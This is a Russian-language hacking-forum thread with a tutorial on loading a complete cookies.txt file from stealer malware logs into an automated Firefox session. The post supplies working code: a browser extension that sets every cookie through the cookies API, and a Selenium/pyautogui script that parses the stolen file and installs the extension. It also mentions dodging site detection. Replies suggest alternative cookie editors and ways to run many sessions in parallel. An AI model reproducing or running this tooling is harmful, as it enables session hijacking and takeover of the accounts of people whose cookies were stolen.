• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Импорт cookies.txt в Selenium

innocoffee

CD-диск
Пользователь
Регистрация
08.01.2021
Сообщения
18
Реакции
1
П.с. Направьте в нужный раздел, пжлста, если я не туда попал. Спасибо.

Привет. В Интернете нет нормальной инфы, как сделать полный экспорт куков из файла стиллера. Только а ля "переходим на страницу, вбиваем через driver.set_cookie"
Использовать тактику "Переход на страницу -> Вбив куки" плохо, ибо:
  1. Сайт легко это палит
  2. Это муторно и долго
  3. На некоторых доменах есть нативный редирект, и вы просто не сможете поставить на него куку, ибо он вас перекинет на другой домен.
Из соображений безопасности нельзя ставить куки на домен, не находясь на нем. Допустим, мы сидим на сайте google.com. В такой конфигурации, стандартными средствами мы не можем ставить куки, например, на yandex.ru. Но можно обойти эту защиту через целый ряд костылей.

селен = Selenium Python

Алгоритм работы (для Firefox).​

  1. Инициализируем селен, вбиваем в него прокси, конфиги на антиотслеживание и все остальное (это все можно найти гуглежкой, не буду это расписывать. Если надо, напишите в лс)
  2. Пишем куки в файл плагина
  3. Переходим в меню для разрабов, в пункт добавления расширения (about:debugging#/runtime/this-firefox)
  4. Кликая на кнопочки и используя pyautogui вбиваем туда наш плагин, загружая его как Временное расширение
  5. Переходим на нужную страницу, куки автоматом цепляются плагином.
  6. PROFIT

Структура плагина:
dancookie
| - _locales
| - cookedit.js
| - cookedit_bg.js
| - manifest.json

Я без понятия, зачем вообще нужна дира _locales, я копирнул ее из другого плагина.

За лесом
Так как расширения имеют 2 направления - background скрипты, и content скрипты. Background имеют доступ к редактированию куков и другим веселым вещам, а content скрипты умеют ненамного больше DevTools
cookedit.js:
JavaScript:
chrome.runtime.sendMessage({'cookies': cookies}, (response) => {});
cookedit_bg.js:
JavaScript:
chrome.runtime.onMessage.addListener((request) => {
    if(request['cookies']) {
        for(var i = 0; i < request['cookies'].length; i++) {
            var cookie = request['cookies'][i];
            var url = "";
            if(cookie['httpOnly'] == "TRUE") url += 'http://'; else url += 'https://';
            url += cookie['domain'];
            url += cookie['path'];
            browser.cookies.set({"url": url, "expirationDate": parseInt(cookie['expirationDate']), "name": cookie['name'], "value": cookie['value']});
        }
    } else {
        console.log('error');
    }
});
manifest.json:
JSON:
{
  "name": "DanCookie",
  "version": "1.0",
  "manifest_version": 2,
  "default_locale": "en",
  "description": "Cookie exporter",
  "permissions": [
      "tabs",
      "cookies",
      "<all_urls>"
  ],
  "content_scripts":[
      {
          "matches":["https://www.google.com/*"],
          "js":["cookedit.js"]
      }
  ],
  "background": {
    "scripts": ["cookedit_bg.js"]
  }
}
Вместо https://www.google.com/* можно вписать любой другой сайт, переадресовав на который пользователя через селен начнетс импорт куков.
index.py:

Python:
import os
from time import sleep
import json
import pyautogui
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.support.ui import WebDriverWait

driver = webdriver.Firefox(executable_path="geckodriver.exe")  # Инициализируем вебдрайвер
driver.delete_all_cookies()  # При старте драйвера куки и так чистые, но перестрахуемся и удалим их

cookies = []

# Открываем файл куков
with open('cookies.txt', 'r') as f:
    # Перебираем их
    for cookie in f.read().split('\n'):
        # Игнорим ошибки (невалид куки)
        try:
            # Получаем данные куки - разделитель - таб
            cook = list(cookie.split('\t'))
            # Переводим в подходящий нам формат
            coo = {'domain': cook[0], 'expirationDate': cook[4], 'hostOnly': cook[1], 'httpOnly': cook[3],
                   'name': cook[5].replace('\\', '\\\\').replace('"', '\\"'), 'path': cook[2],
                   'value': cook[6].replace('\\', '\\\\').replace('"', '\\"')}
            # Добавляем к финальному списку
            cookies.append(coo)
        except:
            pass

# Пихаем куки в content-скрипт плагина
with open('dancookie/cookedit.js', 'w') as f:
    f.write('var cookies = ' + json.dumps(cookies) + ';\nchrome.runtime.sendMessage({\'cookies\': cookies}, (response) => {});')

driver.get('about:debugging#/runtime/this-firefox')  # Переходим в настройки для разрабов
WebDriverWait(driver, 30).until(  # Ждем, пока не появится кнопка установки расширения
    EC.presence_of_element_located((By.CLASS_NAME, 'qa-temporary-extension-install-button')))
WebDriverWait(driver, 30).until(  # И пока эта кнопка не станет кликабельна
    EC.element_to_be_clickable((By.CLASS_NAME, 'qa-temporary-extension-install-button')))
driver.find_element_by_class_name('qa-temporary-extension-install-button').click()  # Жмем на нее
# Задержка, ибо окошку выбора файла надо время, чтобы открыться
sleep(1)
# Вбиваем путь к манифесту
pyautogui.write(os.path.dirname(os.path.abspath(__file__)) + "\\dancookie\\manifest.json")
sleep(1)
# Подтверждаем
pyautogui.press('enter')
sleep(1)
# Переходим на страницу из манифеста
driver.get('https://www.google.com')
sleep(3)  # Даем скрипту пару секунд на добавление куков
# Драйвер готов к использованию

Да, метод костыльный. Да, он достаточно долгий. Но на данный момент это единственный нормальный метод импорта всех куков из файла cookies.txt в селениум.
Есть расширения, которые дают тот же функционал, но вот только одна проблема: селен может взаимодействовать только со страницами.
Спасибо за внимание. Тема для критики+предложений\пожеланий
 
по-идеи, расширение в браузере можно открыть в отдельном окне или вкладке и взаимодействовать с ним с помощью Selenium
для хрома
chrome-extension://идентификатор_расширения/popup.html
для фаерфокса
moz-extension://идентификатор_расширения/popup.html

Например, расширениe EditThisCookie для Chrome

123.jpg


А дальше селениумом жмем на нужные кнопки и заполняем замолняем поля
 
по-идеи, расширение в браузере можно открыть в отдельном окне или вкладке и взаимодействовать с ним с помощью Selenium
для хрома
chrome-extension://идентификатор_расширения/popup.html
для фаерфокса
moz-extension://идентификатор_расширения/popup.html

Например, расширениe EditThisCookie для Chrome

Посмотреть вложение 18832

А дальше селениумом жмем на нужные кнопки и заполняем замолняем поля
Метод интересный, не задумывался над этим. Но имхо, он медленнее, ибо отдельно все куки прокликивает, а мой через апи браузера работает. Можно попробовать cookieimporter юзать, но я хз...)
 
Метод интересный, не задумывался над этим. Но имхо, он медленнее, ибо отдельно все куки прокликивает, а мой через апи браузера работает. Можно попробовать cookieimporter юзать, но я хз...)
Главная проблема в filepicker'е, ибо в него нельзя просто так вбить путь (я не нашел решение на чистом селене). Только используя pyautogui, но это убивает многопоток.
В этом методе можно изначально запустив копии драйверов, сразу поочередно применить расширение, и дальше его просто релоадить (для этого не нужен pyautogui) -> практически полная асинхронность. Profit
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх